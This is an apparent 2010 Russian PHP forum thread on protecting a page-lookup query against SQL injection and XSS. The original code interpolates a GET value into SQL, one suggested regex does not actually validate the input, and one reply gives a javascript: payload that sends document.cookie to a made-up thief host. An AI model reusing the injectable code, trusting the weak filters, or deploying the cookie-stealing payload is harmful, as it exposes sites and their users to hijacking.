В общем делаю выборку так:
elseif(isset($_GET['page'])) {
$pageuri = htmlspecialchars($_GET['page']);
$page_result = mysql_query("SELECT `uri`, `title`, `description`, `keywords`, `text`
FROM `pages`
WHERE `uri` = '$pageuri'
AND `visible` = '1'
LIMIT 0, 1", $connection);
if(mysql_num_rows($page_result) > 0) {
$page_row = mysql_fetch_assoc($page_result);
$title = "{$page_row['title']} - $SITE_NAME";
$description = $page_row['description'];
$keywords = $page_row['keywords'];
}
else {
header("Location: $SITE_URL");
}
}
И кроме того как прогнать uri через htmlspecialchars ничего больше не придумал.
Что нужно ещё учесть? Подскажите пожалуйста. Может быть есть что то на подобии (int)
Спустя 13 минут, 48 секунд (17.06.2010 - 01:39) Ice написал(а):
номер страницы? Думаю, валидации на целочисленность и абсолютность значения будет достаточно.
intval в случае неудачи вернет ноль, а следовательно, всё, окромя чисел, идёт дремучим лесом.
$pageuri = abs( intval( $_GET['page'] ) ) );
intval в случае неудачи вернет ноль, а следовательно, всё, окромя чисел, идёт дремучим лесом.
Спустя 2 минуты, 41 секунда (17.06.2010 - 01:42) Unlikely написал(а):
Ice
Нет, не номер а строка типа "contactme"
Нет, не номер а строка типа "contactme"
Спустя 4 минуты, 6 секунд (17.06.2010 - 01:46) Ice написал(а):
тогда, наверное, лучше вообще теги вырезать, верно? Нафиг они нужны в том параметре?
И напоследок обрабатывать экранирующей функцией mysql_real_escape_string
Только надо еще дополнить условие, чтобы оно выглядело следующим образом:
И напоследок обрабатывать экранирующей функцией mysql_real_escape_string
$pageuri = mysql_real_escape_string( strip_tags( $_GET['page'] ) )
Только надо еще дополнить условие, чтобы оно выглядело следующим образом:
elseif( isset( $_GET['page'] ) &&
! empty( $_GET['page'] ) )
Спустя 13 минут, 52 секунды (17.06.2010 - 02:00) Unlikely написал(а):
Ice
Да, спасибо. Думаю экранирование пока подойдёт. А теги туда писать наверно врятли кто то вздумает
Хотя... Подумать надо
Да, спасибо. Думаю экранирование пока подойдёт. А теги туда писать наверно врятли кто то вздумает

Хотя... Подумать надо
Спустя 2 минуты, 50 секунд (17.06.2010 - 02:03) Ice написал(а):
Как нам на семинаре сказали - любые пробелы в безопасности вашего сайта могут быть направлены против вас И БУДУТ НАПРАВЛЕНЫ.
Проблема может выскочить оттуда, откуда ну уж совсем не ожидал, что она именно оттуда выскочит.
Да и что значит "пока подойдет"?
Разберись сразу, что может быть в параметре передано, а что нет и от этого уже плясать, а всё остальное - откидывать. Не надо пытаться обработать все ситуации.
PS.: я обновил предыдущий пост
Проблема может выскочить оттуда, откуда ну уж совсем не ожидал, что она именно оттуда выскочит.
Да и что значит "пока подойдет"?

PS.: я обновил предыдущий пост
Спустя 4 минуты, 53 секунды (17.06.2010 - 02:08) Unlikely написал(а):
Ice
Да я вот думаю что _ нужно мне будет, вдруг что
Да я вот думаю что _ нужно мне будет, вдруг что

Спустя 2 минуты, 43 секунды (17.06.2010 - 02:11) Ice написал(а):
ну чё там в странице может быть?
ну буквы, ну цифры (мало ли логины юзверей такие), ну _- . И всё наверно:) Вобщем, думай:)
При сейчашнем раскладе у тебя будет всё, кроме <>

При сейчашнем раскладе у тебя будет всё, кроме <>

Спустя 21 минута, 19 секунд (17.06.2010 - 02:32) Unlikely написал(а):
Ice
Надо убить всё кроме _ 0-9 a-z A-Z
Подходящей функции найти пока не получается
Надо убить всё кроме _ 0-9 a-z A-Z
Подходящей функции найти пока не получается
Спустя 4 минуты, 11 секунд (17.06.2010 - 02:36) Ice написал(а):
ну регулярочкой убей 

if( preg_match( '/[\w\d]+/i', $_GET['page'] ) ) {
/* ... */
} else {
print 'Error';
}
Спустя 18 минут, 23 секунды (17.06.2010 - 02:54) Unlikely написал(а):
Ice
Вот так сделал:
Но может быть есть более удачный способ...
Вот так сделал:
$uri = strpbrk($_GET['page'], ';:<>\\&$"\'/');
if($uri == false) {
...
}
Но может быть есть более удачный способ...
Спустя 7 часов, 26 минут, 12 секунд (17.06.2010 - 10:21) SlavaFr написал(а):
mysql_real_escape_string достаточен чтоб избежать sql-inection, если ктото другого мнения, то прошу показать реальный работающий пример.
Так же важно чтоб javascript-inection не было (не знаю на скоко это в твоем случае важни)
пример
href="javascript:locaton.haref='session-вор.ру?'+document.cookie"
в этом случае у тебя могут сразу увести сезон, так что контроллируй, чтоб в начале url небыло 'javascript:'.
Так же важно чтоб javascript-inection не было (не знаю на скоко это в твоем случае важни)
пример
href="javascript:locaton.haref='session-вор.ру?'+document.cookie"
в этом случае у тебя могут сразу увести сезон, так что контроллируй, чтоб в начале url небыло 'javascript:'.
Спустя 10 часов, 42 минуты, 35 секунд (17.06.2010 - 21:03) Unlikely написал(а):
SlavaFr
Ну так у меня же не ссылка выводится, а заявка отправляется. От куда там javascript: может появится..
И есть же ещё там всякие CRLF или как то так, думаю тоже нужно как то обороняться
Ну так у меня же не ссылка выводится, а заявка отправляется. От куда там javascript: может появится..

И есть же ещё там всякие CRLF или как то так, думаю тоже нужно как то обороняться

Спустя 20 минут, 11 секунд (17.06.2010 - 21:23) SlavaFr написал(а):
Цитата (Unlikely @ 17.06.2010 - 18:03) |
SlavaFr Ну так у меня же не ссылка выводится, а заявка отправляется. От куда там javascript: может появится.. ![]() |
рассматривайте моё сообщение как общую рекомендацию, так как
я не в состоянии оценить все подробности вашего проэкта.